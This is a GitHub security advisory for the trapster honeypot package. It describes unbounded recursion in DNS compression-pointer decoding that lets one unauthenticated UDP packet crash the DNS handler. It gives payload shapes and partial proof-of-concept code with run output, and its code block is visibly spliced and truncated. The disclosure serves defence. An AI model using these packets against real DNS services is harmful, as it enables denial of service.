GitHub Advisoryadvisory · PyPI

GHSA-mxwc-wh95-pw4g Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler

MEDIUM Published 2026-07-08 Modified 2026-07-08 Official page ↗
Ecosystem
PyPI
Packages
trapster
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-674
Reviewed
2026-07-08

Affected packages

• PyPI trapster: <= 1.2.0 (no fix yet)

Description

Summary `trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module). Severity Medium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener. Affected component • File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` → `decode_dns_message`). • Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` → `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port. • Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`. Details `decode_labels` implements RFC 1035 §4.1.4 name compression: ```python def decode_labels(message, offset): labels = [] while True: length, = struct.unpack_from("!B", message, offset) if (length & 0xC0) == 0xC0: pointer, = struct.unpack_from("!H", message, offset) offset += 2 return labels + decode_labels(message, pointer & 0x3FFF), offset # benign packet parsed cleanly, no exception\n") print("=== VECTOR A: single self-referential compression pointer (cycle) ===") captured_loop_exceptions.clear(); pkt = build_self_pointer() print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n") print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===") captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000) print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain") send_udp(pkt); await asyncio.sleep(0.5) print(f" loop exceptions captured: {len(captured_loop_exceptions)}") for e in captured_loop_exceptions: print(f" {e}") assert any("RecursionError" in e[0] for e in captured_loop_exceptions) print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n") await hp.stop(); print("ALL ASSERTIONS PASSED") if __name__ == "__main__": sys.setrecursionlimit(1000) asyncio.run(main()) ``` Verbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`: ``` [deploy] DnsHoneypot listening on udp://127.0.0.1:15353 === NEGATIVE CONTROL: benign query example.com A === loop exceptions after benign packet: 0 -> benign packet parsed cleanly, no exception === VECTOR A: single self-referential compression pointer (cycle) === packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself) [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no cycle guard) === VECTOR B: 2000 chained forward compression pointers (zeroconf shape) === packet (4019 bytes) = 2000-deep forward pointer chain [loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready() loop exceptions captured: 1 ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()') -> RecursionError escaped datagram_received (DoS, no depth bound) ALL ASSERTIONS PASSED ``` The negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input. Impact Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packe…

Related

Weakness · CWE (1)

  • CWE-674 Uncontrolled Recursion weakness

References